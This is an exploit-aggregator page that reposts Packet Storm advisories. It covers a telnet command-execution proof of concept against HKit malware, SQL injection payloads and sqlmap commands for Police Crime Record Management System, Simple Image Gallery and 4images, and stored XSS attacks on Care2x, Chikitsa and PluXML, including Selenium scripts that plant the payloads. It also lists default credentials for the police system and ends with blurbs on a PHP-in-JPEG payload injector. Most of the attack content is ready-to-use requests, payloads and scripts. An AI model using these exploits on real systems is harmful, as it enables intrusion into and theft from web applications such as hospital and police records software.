Exploit Collector
HackTool.Win32.HKit Remote Command Execution

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
HackTool.Win32.HKit malware suffers from a remote command execution vulnerability.

MD5 | 5b66b28256e04ad95fd8ee3004cb2187

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6209db6e8cfd7c7a315ca858129bd226.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HackTool.Win32.HKit
Vulnerability: Unauthenticated Remote Command Execution
Description: HaX0R'Z KiT -- v1.05 malware listens for telnet connections on a specified port. Third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: 6209db6e8cfd7c7a315ca858129bd226
Vuln ID: MVID-2021-0319
Disclosure: 08/12/2021

Exploit/PoC:
HackTool.Win32.HKit.exe /telnetd 0.0.0.0 23

nc64.exe x.x.x.x 23
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Police Crime Record Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Police Crime Record Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 620d8d17e3d4a8026081f585435dcc5d

Download
# Exploit Title: Police Crime Record Management System 1.0 - 'casedetails' SQL Injection
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login CID account in http://TARGET/ghpolice/login.php default credentials. (005:12345)
STEP 2 : Send the following request
or
Use sqlmap : python sqlmap.py -u "
http://TARGET/ghpolice/cid/casedetails.php?id=210728101"
--cookie="PHPSESSID=ev8vn1d1de5hjrv9273dunao8j" --dbs -vv

# Request

GET
/ghpolice/cid/casedetails.php?id=210728101'+AND+(SELECT+2115+FROM+(SELECT(SLEEP(5)))GQtj)+AND'gKJE'='gKJE
HTTP/1.1
Host: target.com
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://target.com/ghpolice/cid/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ev8vn1d1de5hjrv9273dunao8j
Connection: close

# Response after 5 seconds

HTTP/1.1 200 OK
Date: Thu, 12 Aug 2021 21:32:47 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.14
X-Powered-By: PHP/7.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6913
Connection: close
Content-Type: text/html; charset=UTF-8
...
...
...

Source:packetstormsecurity.com

Exploit Collector
Simple Image Gallery System 1.0 SQL Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Simple Image Gallery System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 9d5cd6db50da28da818f9d2b7ee62d33

Download
# Exploit Title: Simple Image Gallery System 1.0 - 'id' SQL Injection
# Date: 2020-08-12
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14903&title=Simple+Image+Gallery+Web+App+using+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Simple Image Gallery System 1.0 application is vulnerable to
SQL injection via the "id" parameter on the album page.

POC:

Step 1. Login to the application with any verified user credentials

Step 2. Click on Albums page and select an albums if created or create
by clicking on "Add New" on the top right and select the album.

Step 3. Click on an image and capture the request in burpsuite.
Now copy the request and save it as test.req .

Step 4. Run the sqlmap command "sqlmap -r test.req --dbs

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3' AND 7561=7561 AND 'SzOW'='SzOW

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=3' OR (SELECT 9448 FROM(SELECT
COUNT(*),CONCAT(0x7178707071,(SELECT
(ELT(9448=9448,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'SXqA'='SXqA

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3' AND (SELECT 1250 FROM (SELECT(SLEEP(5)))aNMX) AND
'qkau'='qkau
---

Source:packetstormsecurity.com

Exploit Collector
Care2x Open Source Hospital Information Management 2.7 Alpha XSS

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Care2x Open Source Hospital Information Management version 2.7 Alpha suffers from multiple persistent cross site scripting vulnerabilities.

MD5 | dec039a436133a6e4c3f9ac9d4c3fdf2

Download
# Exploit Title: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
# Date: 13.08.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

Stored Cross Site Scripting(XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. The vulnerability has found POST requests in /modules/registration_admission/patient_register.php page with "name_middle", "addr_str", "station", "name_maiden", "name_2", "name_3" parameters.
Example: /modules/registration_admission/patient_register.php POST request

Content-Disposition: form-data; name="date_reg"

2021-07-29 12:15:59
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="title"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_last"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_first"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_2"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_3"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_middle"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_maiden"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_others"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="date_birth"

05/07/2021
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="sex"

m
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str_nr"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_zip"

XSS
---------------------

If an attacker exploit this vulnerability, takeover any account wants.

Payload Used:

">

EXPLOITATION

1- Login to Care2x Panel
2- /modules/registration_admission/patient_register.php
3- Use the payload vulnerable parameters.
ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''

Source:packetstormsecurity.com

Exploit Collector
Chikitsa 2.0.0 Cross Site Scripting

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Chikitsa version 2.0.0 suffers from a cross site scripting vulnerability.

MD5 | 56c7c313e44db5bcbdb1bb7d718c5928

Download
# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter "first_name"
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.09.2021
# Vendor: https://chikitsa.net/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38152

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-38152

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/Chikitsa2.0.0/index.php/login/index"

#enter your login username
username="nu11secur1ty"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

## Exploit
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user
"))

## buttons

browser.execute_script("document.querySelector('[class=\"form-control\"]').value=\"Doctor\"")

time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'Mr'")

time.sleep(1)
browser.execute_script("document.querySelector
('[name=\"first_name\"]').value = '
https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/XSS-image/image/kostaakatil.webp
onerror=alert(1) />'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"middle_name\"]').value
= 'Userov'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"last_name\"]').value
= 'Userski'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"username\"]').value
= 'D0ct0rA'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"password\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"passconf\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('#is_active').checked =
true")

## submit

browser.execute_script("document.querySelector('[name=\"submit\"]').click()")

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38152
# Proof: https://streamable.com/wbo5c1
# BR nu11secur1ty

Source:packetstormsecurity.com

Exploit Collector
4images 1.8 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
4images version 1.8 suffers from a remote SQL injection vulnerability.

MD5 | b17b229a4376adf8ac8bb58528ed5ea3

Download
# Exploit Title: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.8
# Tested on: Linux
Source Analysis:
Line #658

- User action defined

if ($action == "findimages") {
Line #661

- Vulnerable condition

$condition = "1=1";
Line #654

- Default limit 50

show_input_row($lang['results_per_page'], "limitnumber", 50);
Line #736

- Define limit start

$limitstart = (isset($HTTP_POST_VARS['limitstart'])) ? trim($HTTP_POST_VARS['limitstart']) : "";
if ($limitstart == "") {
$limitstart = 0;
Line #743

- Define limit number

$limitnumber = trim($HTTP_POST_VARS['limitnumber']);
if ($limitnumber == "") {
$limitnumber = 5000;
}
Line #763

- Define user input variables

$limitfinish = $limitstart + $limitnumber;
Line #786

- SQL statement

$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")."
FROM ".IMAGES_TABLE." i
LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
WHERE $condition
ORDER BY $orderby $direction

// Vulnerable user input of limitnumber
LIMIT $limitstart, $limitnumber";
Line #852

- Display user input defined previously

show_hidden_input("limitnumber", $limitnumber);
Exploit POC:
1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
HTTP Request:

POST /4images/admin/images.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages
Cookie: 4images_lastvisit=1628349389; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

__csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
HTTP Response:

HTTP/1.1 200 OK
...
XPATH syntax error: ':10.1.37-MariaDB'

Source:packetstormsecurity.com

Exploit Collector
PluXML 5.8.7 Cross Site Scripting

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
PluXML version 5.8.7 suffers from a persistent cross site scripting vulnerability.

MD5 | 764f97f2ba98bcb62751d92262620b44

Download
# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter "id_content"
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 08.13.2021
# Vendor: https://pluxml.org/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38603

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-2021-38603

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="
http://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/"

#enter your login username
username="nu11"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="login"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="blue"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

## Vulnerability parameter in profil.php "id_content"
## NOTE: The same problem is in the demo account in the online version
## https://www.softaculous.com/softaculous/demos/PluXml
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/PluXml/core/admin/profil.php"))
## The Exploit
browser.execute_script("document.querySelector('[name=\"content\"]').value=\"
src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />\"")

## submit the exploit
browser.execute_script("document.querySelector('[name=\"profil\"]').click()")

# exit if you want :D
browser.close()

print("The payload for CVE CVE-2021-38603 is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603
# Proof: https://streamable.com/5rf36u
# BR nu11secur1ty


Source:packetstormsecurity.com

Exploit Collector
Police Crime Record Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Police Crime Record Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fc0950f25d13debde1b266e01722a6a4

Download
# Exploit Title: Police Crime Record Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login to admin account in http://TARGET/ghpolice/login.php default credentials. (1111:admin123)
Step 2 : Then click on the "Add Staff"
Step 3 : Input "x " in the field "Firstname" or "Othernames"
Step 4 : Click on "Save and Continue"
Step 5 : Update page.

Source:packetstormsecurity.com

Kali Linux Tutorials
Solitude : A Privacy Analysis Tool That Enables Anyone To Conduct Their Own Privacy Investigations

Solitude is a privacy analysis tool that enables anyone to conduct their own privacy investigations. Whether a curious novice or a more advanced researcher, Solitude makes the process of evaluating user privacy within an app accessible for everyone. Important Note Prior to installing Solitude it should be noted that Solitude should be run on a […]

The post Solitude : A Privacy Analysis Tool That Enables Anyone To Conduct Their Own Privacy Investigations appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Php-Jpeg-Injector : Injects Php Payloads Into Jpeg Images

Php-Jpeg-Injector Injects php payloads into jpeg images. Related to this post. Exploiting PHP-GD Image Create From jpeg() Function Proof-of-concept to exploit the flaw in the PHP-GD built-in function, image create from jpeg(). Inspired by one of Reddit’s comment on my previous thread regarding exploiting the image create from gif() PHP-GD function. Warning: This POC was tested […]

The post Php-Jpeg-Injector : Injects Php Payloads Into Jpeg Images appeared first on Kali Linux Tutorials.